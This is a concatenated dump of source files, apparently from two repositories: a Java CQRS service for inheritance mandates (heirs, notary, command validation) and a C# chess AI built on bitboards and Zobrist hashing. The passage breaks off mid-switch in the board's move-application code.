public Mono<Boolean> createMandate(Mono<CreateMandateCommand> command) {
return withValidation(command, mandateCommandService::createMandate);
}
@Override
public Mono<Boolean> addHeirs(Mono<AddHeirsCommand> command) {
return withValidation(command, mandateCommandService::addHeirs);
}
@Override
public Mono<Boolean> removeHeirs(Mono<RemoveHeirsCommand> command) {
return withValidation(command, mandateCommandService::removeHeirs);
}
@Override
public Mono<Boolean> defineMainHeir(Mono<DefineMainHeirCommand> command) {
return withValidation(command, mandateCommandService::defineMainHeir);
}
@Override
public Mono<Boolean> defineNotary(Mono<DefineNotaryCommand> command) {
return withValidation(command, mandateCommandService::defineNotary);
}
private static <T extends ICommand> Mono<Boolean> withValidation(Mono<T> command,
CheckedFunction.Function1<Mono<T>, Mono<Boolean>> delegateFunction) {
return command.
doOnNext(cmd -> log.debug("Validating the command {}", cmd)).
flatMap(cmd -> {
try {
cmd.validate();
log.debug("Command {} is valid", cmd);
return delegateFunction.apply(Mono.just(cmd));
} catch (Validable.NotValidException e) {
return Mono.error(new MalformedCommandException(e));
} catch (Throwable e) {
return Mono.error(e);
}
});
}
}
<file_sep>package com.ote.mandate.service.event.model;
import com.ote.mandate.business.aggregate.Heir;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.Setter;
@Getter
@Setter
@NoArgsConstructor
public class MandateMainHeirDefinedEventDocument extends InnerEventDocument {
private Heir heir;
}
<file_sep>package com.ote.mandate.business.command.api;
import com.ote.mandate.business.command.exception.MalformedCommandException;
import com.ote.mandate.business.command.exception.MandateNotYetCreatedException;
import com.ote.mandate.business.command.model.AddHeirsCommand;
import reactor.core.publisher.Mono;
public interface IAddHeirsCommandHandler extends ICommandHandler {
Mono<Boolean> addHeirs(Mono<AddHeirsCommand> command) throws MalformedCommandException, MandateNotYetCreatedException;
}
<file_sep>package com.ote.mandate.business.event.model;
import com.ote.mandate.business.aggregate.Contractor;
import com.ote.mandate.business.aggregate.Heir;
import com.ote.mandate.business.aggregate.Notary;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.Setter;
import lombok.ToString;
import javax.validation.Valid;
import javax.validation.constraints.NotBlank;
import javax.validation.constraints.NotNull;
import java.util.ArrayList;
import java.util.List;
@NoArgsConstructor
@Getter
@Setter
@ToString(callSuper = true)
public class MandateCreatedEvent extends BaseMandateEvent {
@NotBlank
private String bankName;
@NotNull
private Contractor contractor;
@Valid
private Notary notary;
@Valid
private Heir mainHeir;
@Valid
private final List<Heir> otherHeirs = new ArrayList<>();
public MandateCreatedEvent(String id, String bankName, Contractor contractor) {
super(id);
this.bankName = bankName;
this.contractor = contractor;
}
}
<file_sep>package com.ote.mandate.business.event.api;
public interface IMandateEventHandler extends
IMandateCreatedEventHandler,
IMandateHeirAddedEventHandler,
IMandateHeirRemovedEventHandler,
IMandateMainHeirDefinedEventHandler,
IMandateNotaryDefinedEventHandler {
}
<file_sep>package com.ote.mandate.service.rest.payload;
import lombok.Data;
import javax.validation.Valid;
import javax.validation.constraints.NotBlank;
import javax.validation.constraints.NotNull;
import java.util.ArrayList;
import java.util.List;
@Data
public class MandatePayload {
@NotBlank
private String id;
@NotBlank
private String bankName;
@NotNull
@Valid
private ContractorPayload contractor;
@Valid
private NotaryPayload notary;
@Valid
private HeirPayload mainHeir;
@Valid
private List<HeirPayload> otherHeirs = new ArrayList<>();
}
| 029cf03d459e7492be9380dd4e53c8436c8594a8 | [
"YAML",
"Markdown",
"INI",
"Java",
"Dockerfile"
] | 31 | Java | oterrien-CQRS/contract-service | 198d993317d102630ea9c9864cc8ad76e0c11e61 | f041e058a2ef8954b44cacc64c2b75c849b30b05 |
refs/heads/master | <file_sep>// This is where you build your AI for the Chess game.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Joueur.cs.Games.Chess
{
/// <summary>
/// This is where you build your AI for the Chess game.
/// </summary>
class AI : BaseAI
{
#region Properties
#pragma warning disable 0169 // the never assigned warnings between here are incorrect. We set it for you via reflection. So these will remove it from the Error List.
#pragma warning disable 0649
/// <summary>
/// This is the Game object itself, it contains all the information about the current game
/// </summary>
public readonly Chess.Game Game;
/// <summary>
/// This is your AI's player. This AI class is not a player, but it should command this Player.
/// </summary>
public readonly Chess.Player Player;
/// <summary>
/// The Chess AI Engine, implements a fen constructor, OpponentMove and MakeMove
/// </summary>
private ChessEngine engine;
#pragma warning restore 0169
#pragma warning restore 0649
#endregion
#region Methods
/// <summary>
/// This returns your AI's name to the game server. Just replace the string.
/// </summary>
/// <returns>string of you AI's name.</returns>
public override string GetName()
{
return "Waffle";
}
/// <summary>
/// This is automatically called when the game first starts, once the Game object and all GameObjects have been initialized, but before any players do anything.
/// </summary>
/// <remarks>
/// This is a good place to initialize any variables you add to your AI, or start tracking game objects.
/// </remarks>
public override void Start()
{
base.Start();
this.engine = new ChessEngine(this.Game.Fen, this.Player.Color == "White");
}
/// <summary>
/// This is automatically called every time the game (or anything in it) updates.
/// </summary>
/// <remarks>
/// If a function you call triggers an update this will be called before that function returns.
/// </remarks>
public override void GameUpdated()
{
base.GameUpdated();
}
/// <summary>
/// This is automatically called when the game ends.
/// </summary>
/// <remarks>
/// You can do any cleanup of you AI here, or do custom logging. After this function returns the application will close.
/// </remarks>
/// <param name="won">true if your player won, false otherwise</param>
/// <param name="reason">a string explaining why you won or lost</param>
public override void Ended(bool won, string reason)
{
base.Ended(won, reason);
}
/// <summary>
/// This is called every time it is this AI.player's turn.
/// </summary>
/// <returns>Represents if you want to end your turn.
/// True means end your turn, False means to keep your turn
/// going and re-call this function.</returns>
public bool RunTurn()
{
Console.WriteLine("----------------------------------------------------");
Console.WriteLine("Time Remaining: " + this.Player.TimeRemaining + " ns");
if (this.Game.Moves.Count > 0)
{
var lastMove = this.Game.Moves.Last();
string fromFR = lastMove.FromFile + lastMove.FromRank;
string toFR = lastMove.ToFile + lastMove.ToRank;
string promote = lastMove.Promotion;
Console.WriteLine("Opponents Last Move: " + fromFR + " " + toFR);
if (promote == "")
{
promote = "None";
}
this.engine.OpponentMove(fromFR, toFR, promote);
}
this.engine.Print();
int time = Math.Max( Math.Min( (int)Convert.ToInt32(this.Player.TimeRemaining/1000000) / Math.Max(120 - this.Game.Moves.Count, 20), 2500), 250);
var moveStrings = this.engine.MakeMove(time);
Console.WriteLine("Move: " + moveStrings.Item1 + " " + moveStrings.Item2);
var piece = this.Player.Pieces.First(p => (p.File + p.Rank) == moveStrings.Item1);
piece.Move( moveStrings.Item2[0].ToString(),
(int)(moveStrings.Item2[1] - '0'),
moveStrings.Item3.Replace("None", "")
);
return true;
}
/// <summary>
/// Prints the current board using pretty ASCII art
/// </summary>
public void PrintCurrentBoard()
{
var dispPieceTile = new Dictionary<string, char>();
foreach (var piece in this.Game.Pieces)
{
char tile = (piece.Type == "Knight") ? 'N' : piece.Type[0];
if (piece.Owner.Id == "1")
{
tile = Char.ToLower(tile);
}
dispPieceTile[piece.File + piece.Rank] = tile;
}
Console.WriteLine(" +------------------------+");
for (int rank = 8; rank >= 1; rank--)
{
string str = " " + rank + " |";
for (int fileOffset = 0; fileOffset < 8; fileOffset++)
{
string file = ((char)('a' + fileOffset)).ToString();
char tile;
if (!dispPieceTile.TryGetValue(file + rank, out tile))
{
tile = '.';
}
str += " " + tile + " ";
}
str += "|";
Console.WriteLine(str);
}
Console.WriteLine(" +------------------------+");
Console.WriteLine(" a b c d e f g h");
}
#endregion
}
}
<file_sep>
using System;
using System.Collections.Generic;
using System.Linq;
public class ChessEngine
{
private XBoard board;
private bool aiIsWhite;
/// <summary>
/// Initialize the engine with the board state, does not need to be standard start
/// </summary>
public ChessEngine(string fen, bool aiIsWhite)
{
this.board = new XBoard();
this.aiIsWhite = aiIsWhite;
// Initialize XBoard instance
var fenFields = fen.Split(' ');
int rank = 7; // 0 indexed, use ChessRules.Ranks array
int file = 0; // 0 indexed, use ChessRules.Files array
foreach (char c in fenFields[0])
{
file = Math.Min(file, 7);
UInt64 tile = ChessRules.Ranks[rank] & ChessRules.Files[file];
switch (c)
{
// White
case 'P':
this.board.whitePawns |= tile;
break;
case 'R':
this.board.whiteRooks |= tile;
break;
case 'N':
this.board.whiteKnights |= tile;
break;
case 'B':
this.board.whiteBishops |= tile;
break;
case 'Q':
this.board.whiteQueens |= tile;
break;
case 'K':
this.board.whiteKing = tile;
break;
// Black
case 'p':
this.board.blackPawns |= tile;
break;
case 'r':
this.board.blackRooks |= tile;
break;
case 'n':
this.board.blackKnights |= tile;
break;
case 'b':
this.board.blackBishops |= tile;
break;
case 'q':
this.board.blackQueens |= tile;
break;
case 'k':
this.board.blackKing = tile;
break;
// Special character handling
case'/':
file = -1; // will be incremented to 0 at end of loop-body
rank -= 1;
break;
default:
file += c - '0';
break;
}
file += 1;
} // End foreach
this.board.turnIsWhite = fenFields[1] == "w";
this.board.whiteCastleKS = fenFields[2].Contains('K');
this.board.whiteCastleQS = fenFields[2].Contains('Q');
this.board.blackCastleKS = fenFields[2].Contains('k');
this.board.blackCastleQS = fenFields[2].Contains('q');
this.board.enPassTile = frToTile(fenFields[3]);
this.board.halfMoveClock = byte.Parse(fenFields[4]);
this.board.updatePieces();
this.board.whiteCheck = ChessRules.Threats(this.board, this.board.whiteKing, false) != 0;
this.board.blackCheck = ChessRules.Threats(this.board, this.board.blackKing, true) != 0;
this.board.finishInit();
} // End fen constructor method
public void Print()
{
var dispPieceTile = new Dictionary<string, char>();
UInt64[] whitePieceBBs = {this.board.whitePawns, this.board.whiteRooks, this.board.whiteKnights, this.board.whiteBishops, this.board.whiteQueens, this.board.whiteKing};
UInt64[] blackPieceBBs = {this.board.blackPawns, this.board.blackRooks, this.board.blackKnights, this.board.blackBishops, this.board.blackQueens, this.board.blackKing};
PieceType[] pts = {PieceType.Pawn, PieceType.Rook, PieceType.Knight, PieceType.Bishop, PieceType.Queen, PieceType.King};
UInt64 pieces;
UInt64 piece;
for (var i = 0; i < 6; i++)
{
char c = (pts[i].ToString() == "Knight") ? 'N' : pts[i].ToString()[0];
pieces = whitePieceBBs[i];
while(pieces != 0)
{
piece = BitOps.MSB(pieces);
pieces = pieces - piece;
dispPieceTile[tileToFR(piece)] = c;
}
c = (pts[i].ToString() == "Knight") ? 'n' : pts[i].ToString().ToLower()[0];
pieces = blackPieceBBs[i];
while(pieces != 0)
{
piece = BitOps.MSB(pieces);
pieces = pieces - piece;
dispPieceTile[tileToFR(piece)] = c;
}
}
Console.WriteLine(" +------------------------+");
for (int rank = 8; rank >= 1; rank--)
{
string str = " " + rank + " |";
for (int fileOffset = 0; fileOffset < 8; fileOffset++)
{
string file = ((char)('a' + fileOffset)).ToString();
char tile;
if (!dispPieceTile.TryGetValue(file + rank, out tile))
{
tile = '.';
}
str += " " + tile + " ";
}
str += "|";
Console.WriteLine(str);
}
Console.WriteLine(" +------------------------+");
Console.WriteLine(" a b c d e f g h");
} // End Print
/// <summary>
/// Call when opponent makes move. Trusts caller to call when actually is time for opponent
/// </summary>
public void OpponentMove(string fromFR, string toFR, string promote)
{
UInt64 srcTile = frToTile(fromFR);
UInt64 destTile = frToTile(toFR);
PieceType movedPiece = this.pieceAtTile(srcTile);
if (movedPiece == PieceType.King)
{
// Might be a castle, castle is in implicit super-piece representation of king and rook
if ((srcTile & ChessRules.kingStarts) != 0 && (destTile & ChessRules.kingDests) != 0)
{
movedPiece = PieceType.Castle;
}
}
PieceType attackedPiece = this.pieceAtTile(destTile);
if (movedPiece != PieceType.Pawn && attackedPiece == PieceType.EnPass)
{
attackedPiece = PieceType.None;
}
PieceType promotePiece = (PieceType)Enum.Parse(typeof(PieceType), promote);
var action = new XAction(
srcTile,
destTile,
movedPiece,
attackedPiece,
promotePiece
);
this.board.Apply(action);
} // End Opponent Move
public Tuple<string, string, string> MakeMove(int time)
{
Console.Write("Num Legal Moves: ");
var moves = ChessRules.LegalMoves(this.board);
Console.WriteLine(moves.Count());
Console.WriteLine(this.board.whiteCheck + "\t" + this.board.blackCheck + "\t" + this.board.whiteCastleKS + "\t" + this.board.open + "\t" + ChessRules.whiteKSSpace + "\t" + (this.board.open & ChessRules.whiteKSSpace));
Console.Write("50 Move Counter: ");
Console.WriteLine(this.board.halfMoveClock);
var action = ChessStrategy.TLID_ABMinimax(this.board, time, this.aiIsWhite);
var zobrist = this.board.zobristHash;
this.board.Apply(action);
Console.Write("\nZobrist state counter: ");
Console.WriteLine(this.board.stateHistory[zobrist]);
Console.WriteLine("Applying move: " + tileToFR(action.srcTile) +" " + tileToFR(action.destTile) + " " + action.promotionType.ToString());
Console.Write("Num Opp Legal Moves: ");
moves = ChessRules.LegalMoves(this.board);
Console.WriteLine(moves.Count());
Console.Write("50 Move Counter: ");
Console.WriteLine(this.board.halfMoveClock);
return Tuple.Create( tileToFR(action.srcTile),
tileToFR(action.destTile),
action.promotionType.ToString()
);
} // End Make Move
/// <summary>
/// Helper for reading fen
/// </summary>
public static UInt64 frToTile(string fr)
{
switch (fr)
{
case "-": return 0;
case "h1": return 1;
case "g1": return 2;
case "f1": return 4;
case "e1": return 8;
case "d1": return 16;
case "c1": return 32;
case "b1": return 64;
case "a1": return 128;
case "h2": return 256;
case "g2": return 512;
case "f2": return 1024;
case "e2": return 2048;
case "d2": return 4096;
case "c2": return 8192;
case "b2": return 16384;
case "a2": return 32768;
case "h3": return 65536;
case "g3": return 131072;
case "f3": return 262144;
case "e3": return 524288;
case "d3": return 1048576;
case "c3": return 2097152;
case "b3": return 4194304;
case "a3": return 8388608;
case "h4": return 16777216;
case "g4": return 33554432;
case "f4": return 67108864;
case "e4": return 134217728;
case "d4": return 268435456;
case "c4": return 536870912;
case "b4": return 1073741824;
case "a4": return 2147483648;
case "h5": return 4294967296;
case "g5": return 8589934592;
case "f5": return 17179869184;
case "e5": return 34359738368;
case "d5": return 68719476736;
case "c5": return 137438953472;
case "b5": return 274877906944;
case "a5": return 549755813888;
case "h6": return 1099511627776;
case "g6": return 2199023255552;
case "f6": return 4398046511104;
case "e6": return 8796093022208;
case "d6": return 17592186044416;
case "c6": return 35184372088832;
case "b6": return 70368744177664;
case "a6": return 140737488355328;
case "h7": return 281474976710656;
case "g7": return 562949953421312;
case "f7": return 1125899906842624;
case "e7": return 2251799813685248;
case "d7": return 4503599627370496;
case "c7": return 9007199254740992;
case "b7": return 18014398509481984;
case "a7": return 36028797018963968;
case "h8": return 72057594037927936;
case "g8": return 144115188075855872;
case "f8": return 288230376151711744;
case "e8": return 576460752303423488;
case "d8": return 1152921504606846976;
case "c8": return 2305843009213693952;
case "b8": return 4611686018427387904;
case "a8": return 9223372036854775808;
}
Console.WriteLine("Invalid FR: " + fr);
throw new System.Exception();
} // End file rank to tile method
/// <summary>
/// Some precomputation for transforming a bitboard action into Joueur API
/// </summary>
public static string tileToFR(UInt64 tile)
{
switch(tile)
{
case 1: return "h1";
case 2: return "g1";
case 4: return "f1";
case 8: return "e1";
case 16: return "d1";
case 32: return "c1";
case 64: return "b1";
case 128: return "a1";
case 256: return "h2";
case 512: return "g2";
case 1024: return "f2";
case 2048: return "e2";
case 4096: return "d2";
case 8192: return "c2";
case 16384: return "b2";
case 32768: return "a2";
case 65536: return "h3";
case 131072: return "g3";
case 262144: return "f3";
case 524288: return "e3";
case 1048576: return "d3";
case 2097152: return "c3";
case 4194304: return "b3";
case 8388608: return "a3";
case 16777216: return "h4";
case 33554432: return "g4";
case 67108864: return "f4";
case 134217728: return "e4";
case 268435456: return "d4";
case 536870912: return "c4";
case 1073741824: return "b4";
case 2147483648: return "a4";
case 4294967296: return "h5";
case 8589934592: return "g5";
case 17179869184: return "f5";
case 34359738368: return "e5";
case 68719476736: return "d5";
case 137438953472: return "c5";
case 274877906944: return "b5";
case 549755813888: return "a5";
case 1099511627776: return "h6";
case 2199023255552: return "g6";
case 4398046511104: return "f6";
case 8796093022208: return "e6";
case 17592186044416: return "d6";
case 35184372088832: return "c6";
case 70368744177664: return "b6";
case 140737488355328: return "a6";
case 281474976710656: return "h7";
case 562949953421312: return "g7";
case 1125899906842624: return "f7";
case 2251799813685248: return "e7";
case 4503599627370496: return "d7";
case 9007199254740992: return "c7";
case 18014398509481984: return "b7";
case 36028797018963968: return "a7";
case 72057594037927936: return "h8";
case 144115188075855872: return "g8";
case 288230376151711744: return "f8";
case 576460752303423488: return "e8";
case 1152921504606846976: return "d8";
case 2305843009213693952: return "c8";
case 4611686018427387904: return "b8";
case 9223372036854775808: return "a8";
}
Console.WriteLine("Invalid tile: " + tile);
throw new System.Exception();
} // End tile to file rank method
private PieceType pieceAtTile(UInt64 tile)
{
if ((tile & (this.board.whitePawns | this.board.blackPawns)) != 0)
{
return PieceType.Pawn;
} else if ((tile & (this.board.whiteRooks | this.board.blackRooks)) != 0)
{
return PieceType.Rook;
} else if ((tile & (this.board.whiteKnights | this.board.blackKnights)) != 0)
{
return PieceType.Knight;
} else if ((tile & (this.board.whiteBishops | this.board.blackBishops)) != 0)
{
return PieceType.Bishop;
} else if ((tile & (this.board.whiteQueens | this.board.blackQueens)) != 0)
{
return PieceType.Queen;
} else if ((tile & (this.board.whiteKing | this.board.blackKing)) != 0)
{
return PieceType.King;
} else if ((tile & this.board.enPassTile) != 0)
{
return PieceType.EnPass;
} else {
return PieceType.None;
}
} // End piece at tile method
}
<file_sep>
using System;
using System.Collections.Generic;
using System.Linq;
using static ChessRules;
public class XBoard
{
public UInt64 whitePawns;
public UInt64 whiteRooks;
public UInt64 whiteKnights;
public UInt64 whiteBishops;
public UInt64 whiteQueens;
public UInt64 whiteKing;
public UInt64 blackPawns;
public UInt64 blackRooks;
public UInt64 blackKnights;
public UInt64 blackBishops;
public UInt64 blackQueens;
public UInt64 blackKing;
public UInt64 whitePieces;
public UInt64 blackPieces;
public UInt64 pieces;
public UInt64 open;
public UInt64 enPassTile;
public UInt64 zobristHash;
public bool turnIsWhite;
public bool whiteCheck;
public bool blackCheck;
public bool whiteCastleKS;
public bool whiteCastleQS;
public bool blackCastleKS;
public bool blackCastleQS;
public byte halfMoveClock;
public Dictionary<UInt64, byte> stateHistory;
private Stack<XAction> actionHistory;
private Stack<XActionUndoData> actionUndoHistory;
public XBoard()
{
this.stateHistory = new Dictionary<UInt64, byte>();
this.actionHistory = new Stack<XAction>();
this.actionUndoHistory = new Stack<XActionUndoData>();
}
public void updatePieces()
{
this.whitePieces = ( this.whitePawns | this.whiteRooks |
this.whiteKnights | this.whiteBishops |
this.whiteQueens | this.whiteKing );
this.blackPieces = ( this.blackPawns | this.blackRooks |
this.blackKnights | this.blackBishops |
this.blackQueens | this.blackKing );
this.pieces = this.whitePieces | this.blackPieces;
this.open = ~this.pieces;
}
public void finishInit()
{
// Calculate initial zobrist hash
UInt64[] bitboards = {
this.whitePawns, this.whiteRooks, this.whiteKnights,
this.whiteBishops, this.whiteQueens, this.whiteKing,
this.blackPawns, this.blackRooks, this.blackKnights,
this.blackBishops, this.blackQueens, this.blackKing
};
Dictionary<UInt64, UInt64>[] zobristDicts = {
Zobrist.whitePawn, Zobrist.whiteRook, Zobrist.whiteKnight,
Zobrist.whiteBishop, Zobrist.whiteQueen, Zobrist.whiteKing,
Zobrist.blackPawn, Zobrist.blackRook, Zobrist.blackKnight,
Zobrist.blackBishop, Zobrist.blackQueen, Zobrist.blackKing
};
UInt64 piece;
UInt64 pieces;
for( int i = 0; i < Math.Max(bitboards.Count(), zobristDicts.Count()); i++ )
{
pieces = bitboards[i];
while (pieces != 0)
{
piece = BitOps.MSB(pieces);
pieces -= piece;
this.zobristHash ^= zobristDicts[i][piece];
}
}
if (this.enPassTile != 0)
{
this.zobristHash ^= Zobrist.enPass[this.enPassTile];
}
if (this.turnIsWhite)
{
this.zobristHash ^= Zobrist.turnIsWhite;
}
if (this.whiteCastleKS)
{
this.zobristHash ^= Zobrist.whiteCastleKS;
}
if (this.whiteCastleQS)
{
this.zobristHash ^= Zobrist.whiteCastleQS;
}
if (this.blackCastleKS)
{
this.zobristHash ^= Zobrist.blackCastleKS;
}
if (this.blackCastleQS)
{
this.zobristHash ^= Zobrist.blackCastleQS;
}
}
public XBoard Copy()
{
return (XBoard)this.MemberwiseClone();
}
public void Apply(XAction action)
{
this.actionHistory.Push(action);
byte castleSettings = (byte)( (Convert.ToByte(this.whiteCastleKS)) |
(Convert.ToByte(this.whiteCastleQS) << 1) |
(Convert.ToByte(this.blackCastleKS) << 2) |
(Convert.ToByte(this.blackCastleQS) << 3) );
this.actionUndoHistory.Push(new XActionUndoData(
this.zobristHash,
castleSettings,
this.halfMoveClock,
this.whiteCheck,
this.blackCheck
));
UInt64 lastState = this.zobristHash;
this.enPassTile = 0;
this.halfMoveClock += 1;
if (action.attackType != PieceType.None)
{
this.halfMoveClock = 0;
}
if (this.turnIsWhite)
{
switch (action.pieceType)
{
case PieceType.Pawn:
this.halfMoveClock = 0;
this.whitePieces = (this.whitePieces & ~action.srcTile) | action.destTile;
this.zobristHash ^= Zobrist.whitePawn[action.srcTile];
if ( (action.srcTile << 16) == action.destTile )
{
this.enPassTile = action.srcTile << 8;
}
if (action.promotionType != PieceType.None)
{
this.whitePawns = this.whitePawns & ~action.srcTile;
switch (action.promotionType)
{
case (PieceType.Queen):
this.whiteQueens = this.whiteQueens | action.destTile;
this.zobristHash ^= Zobrist.whiteQueen[action.destTile];
break;
case (PieceType.Knight):
this.whiteKnights = this.whiteKnights | action.destTile;
this.zobristHash ^= Zobrist.whiteKnight[action.destTile];
break;
case (PieceType.Bishop):
this.whiteBishops = this.whiteBishops | action.destTile;
this.zobristHash ^= Zobrist.whiteBishop[action.destTile];
break;
case (PieceType.Rook):
this.whiteRooks = this.whiteRooks | action.destTile;
this.zobristHash ^= Zobrist.whiteRook[action.destTile];
break;
}
} else {
this.whitePawns = (this.whitePawns & ~action.srcTile) | action.destTile;
this.zobristHash ^= Zobrist.whitePawn[action.destTile];
}
break;
case PieceType.Rook:
this.whiteRooks = (this.whiteRooks & ~action.srcTile) | action.destTile;
this.whitePieces = (this.whitePieces & ~action.srcTile) | action.destTile;
this.zobristHash ^= Zobrist.whiteRook[action.srcTile];
this.zobristHash ^= Zobrist.whiteRook[action.destTile];
if ((action.srcTile & whiteKSRookStart) != 0)
{
this.whiteCastleKS = false;
}
else if ((action.srcTile & whiteQSRookStart) != 0)
{
this.whiteCastleQS = false;
}
break;
case PieceType.Knight:
this.whiteKnights = (this.whiteKnights & ~action.srcTile) | action.destTile;
this.whitePieces = (this.whitePieces & ~action.srcTile) | action.destTile;
this.zobristHash ^= Zobrist.whiteKnight[action.srcTile];
this.zobristHash ^= Zobrist.whiteKnight[action.destTile];
break;
case PieceType.Bishop:
this.whiteBishops = (this.whiteBishops & ~action.srcTile) | action.destTile;
this.whitePieces = (this.whitePieces & ~action.srcTile) | action.destTile;
this.zobristHash ^= Zobrist.whiteBishop[action.srcTile];
this.zobristHash ^= Zobrist.whiteBishop[action.destTile];
break;
case PieceType.Queen:
this.whiteQueens = (this.whiteQueens & ~action.srcTile) | action.destTile;
this.whitePieces = (this.whitePieces & ~action.srcTile) | action.destTile;
this.zobristHash ^= Zobrist.whiteQueen[action.srcTile];
this.zobristHash ^= Zobrist.whiteQueen[action.destTile];
break;
case PieceType.King:
this.whiteKing = action.destTile;
this.whitePieces = (this.whitePieces & ~action.srcTile) | action.destTile;
this.zobristHash ^= Zobrist.whiteKing[action.srcTile];
this.zobristHash ^= Zobrist.whiteKing[action.destTile];
this.whiteCastleKS = false;
this.whiteCastleQS = false;
break;
case PieceType.Castle:
this.zobristHash ^= Zobrist.whiteKing[whiteKingStart];
this.whiteCastleKS = false;
this.whiteCastleQS = false;
if ( (action.destTile & whiteKSSpace) != 0 )
{
this.whiteKing = whiteKSDest;
this.whiteRooks = (this.whiteRooks & ~whiteKSRookStart) | whiteKSRookDest;
this.whitePieces = (this.whitePieces & ~whiteKingStart & ~whiteKSRookStart) | whiteKSDest | whiteKSRookDest;
this.zobristHash ^= Zobrist.whiteKing[whiteKSDest];
this.zobristHash ^= Zobrist.whiteRook[whiteKSRookStart];
this.zobristHash ^= Zobrist.whiteRook[whiteKSRookDest];
} else {
this.whiteKing = whiteQSDest;
this.whiteRooks = (this.whiteRooks & ~whiteQSRookStart) | whiteQSRookDest;
this.whitePieces = (this.whitePieces & ~whiteKingStart & ~whiteQSRookStart) | whiteQSDest | whiteQSRookDest;
this.zobristHash ^= Zobrist.whiteKing[whiteQSDest];
this.zobristHash ^= Zobrist.whiteRook[whiteQSRookStart];
this.zobristHash ^= Zobrist.whiteRook[whiteQSRookDest];
}
break;
}
switch (action.attackType)
{
case PieceType.Pawn:
this.blackPawns = this.blackPawns & ~action.destTile;
this.blackPieces = this.blackPieces & ~action.destTile;
this.zobristHash ^= Zobrist.blackPawn[action.destTile];
break;
case PieceType.Rook:
this.blackRooks = this.blackRooks & ~action.destTile;
this.blackPieces = this.blackPieces & ~action.destTile;
this.zobristHash ^= Zobrist.blackRook[action.destTile];
if (action.destTile == blackKSRookStart)
{
this.blackCastleKS = false;
} else if (action.destTile == blackQSRookStart)
{
this.blackCastleQS = false;
}
break;
case PieceType.Knight:
this.blackKnights = this.blackKnights & ~action.destTile;
this.blackPieces = this.blackPieces & ~action.destTile;
this.zobristHash ^= Zobrist.blackKnight[action.destTile];
break;
case PieceType.Bishop:
this.blackBishops = this.blackBishops & ~action.destTile;
this.blackPieces = this.blackPieces & ~action.destTile;
this.zobristHash ^= Zobrist.blackBishop[action.destTile];
break;
case PieceType.Queen:
this.blackQueens = this.blackQueens & ~action.destTile;
this.blackPieces = this.blackPieces & ~action.destTile;
this.zobristHash ^= Zobrist.blackQueen[action.destTile];
break;
case PieceType.EnPass:
this.blackPawns = this.blackPawns & ~(action.destTile >> 8);
this.blackPieces = this.blackPieces & ~(action.destTile >> 8);
this.zobristHash ^= Zobrist.blackPawn[action.destTile >> 8];
break;
}
} else { // turn is black
switch (action.pieceType)
{
case PieceType.Pawn:
this.halfMoveClock = 0;
this.blackPieces = (this.blackPieces & ~action.srcTile) | action.destTile;
this.zobristHash ^= Zobrist.blackPawn[action.srcTile];
if ( (action.srcTile >> 16) == action.destTile )
{
this.enPassTile = action.srcTile >> 8;
}
if (action.promotionType != PieceType.None)
{
this.blackPawns = this.blackPawns & ~action.srcTile;
switch (action.promotionType)
{
case (PieceType.Queen):
this.blackQueens = this.blackQueens | action.destTile;
this.zobristHash ^= Zobrist.blackQueen[action.destTile];
break;
case (PieceType.Knight):
this.blackKnights = this.blackKnights | action.destTile;
this.zobristHash ^= Zobrist.blackKnight[action.destTile];
break;
case (PieceType.Bishop):
this.blackBishops = this.blackBishops | action.destTile;
this.zobristHash ^= Zobrist.blackBishop[action.destTile];
break;
case (PieceType.Rook):
this.blackRooks = this.blackRooks | action.destTile;
this.zobristHash ^= Zobrist.blackRook[action.destTile];
break;
}
} else {
this.blackPawns = (this.blackPawns & ~action.srcTile) | action.destTile;
this.zobristHash ^= Zobrist.blackPawn[action.destTile];
}
break;
case PieceType.Rook:
this.blackRooks = (this.blackRooks & ~action.srcTile) | action.destTile;
this.blackPieces = (this.blackPieces & ~action.srcTile) | action.destTile;
this.zobristHash ^= Zobrist.blackRook[action.srcTile];
this.zobristHash ^= Zobrist.blackRook[action.destTile];
if ((action.srcTile & blackKSRookStart) != 0)
{
this.blackCastleKS = false;
}
else if ((action.srcTile & blackQSRookStart) != 0)
{
this.blackCastleQS = false;
}
break;
case PieceType.Knight:
this.blackKnights = (this.blackKnights & ~action.srcTile) | action.destTile;
this.blackPieces = (this.blackPieces & ~action.srcTile) | action.destTile;
this.zobristHash ^= Zobrist.blackKnight[action.srcTile];
this.zobristHash ^= Zobrist.blackKnight[action.destTile];
break;
case PieceType.Bishop:
this.blackBishops = (this.blackBishops & ~action.srcTile) | action.destTile;
this.blackPieces = (this.blackPieces & ~action.srcTile) | action.destTile;
this.zobristHash ^= Zobrist.blackBishop[action.srcTile];
this.zobristHash ^= Zobrist.blackBishop[action.destTile];
break;
case PieceType.Queen:
this.blackQueens = (this.blackQueens & ~action.srcTile) | action.destTile;
this.blackPieces = (this.blackPieces & ~action.srcTile) | action.destTile;
this.zobristHash ^= Zobrist.blackQueen[action.srcTile];
this.zobristHash ^= Zobrist.blackQueen[action.destTile];
break;
case PieceType.King:
this.blackKing = action.destTile;
this.blackPieces = (this.blackPieces & ~action.srcTile) | action.destTile;
this.zobristHash ^= Zobrist.blackKing[action.srcTile];
this.zobristHash ^= Zobrist.blackKing[action.destTile];
this.blackCastleKS = false;
this.blackCastleQS = false;
break;
case PieceType.Castle:
this.zobristHash ^= Zobrist.blackKing[blackKingStart];
this.blackCastleKS = false;
this.blackCastleQS = false;
if ( (action.destTile & blackKSSpace) != 0 )
{
this.blackKing = blackKSDest;
this.blackRooks = (this.blackRooks & ~blackKSRookStart) | blackKSRookDest;
this.blackPieces = (this.blackPieces & ~blackKingStart & ~blackKSRookStart) | blackKSDest | blackKSRookDest;
this.zobristHash ^= Zobrist.blackKing[blackKSDest];
this.zobristHash ^= Zobrist.blackRook[blackKSRookStart];
this.zobristHash ^= Zobrist.blackRook[blackKSRookDest];
} else {
this.blackKing = blackQSDest;
this.blackRooks = (this.blackRooks & ~blackQSRookStart) | blackQSRookDest;
this.blackPieces = (this.blackPieces & ~blackKingStart & ~blackQSRookStart) | blackQSDest | blackQSRookDest;
this.zobristHash ^= Zobrist.blackKing[blackQSDest];
this.zobristHash ^= Zobrist.blackRook[blackQSRookStart];
this.zobristHash ^= Zobrist.blackRook[blackQSRookDest];
}
break;
}
switch (action.attackType)
{
case PieceType.Pawn:
this.whitePawns = this.whitePawns & ~action.destTile;
this.whitePieces = this.whitePieces & ~action.destTile;
this.zobristHash ^= Zobrist.whitePawn[action.destTile];
break;
case PieceType.Rook:
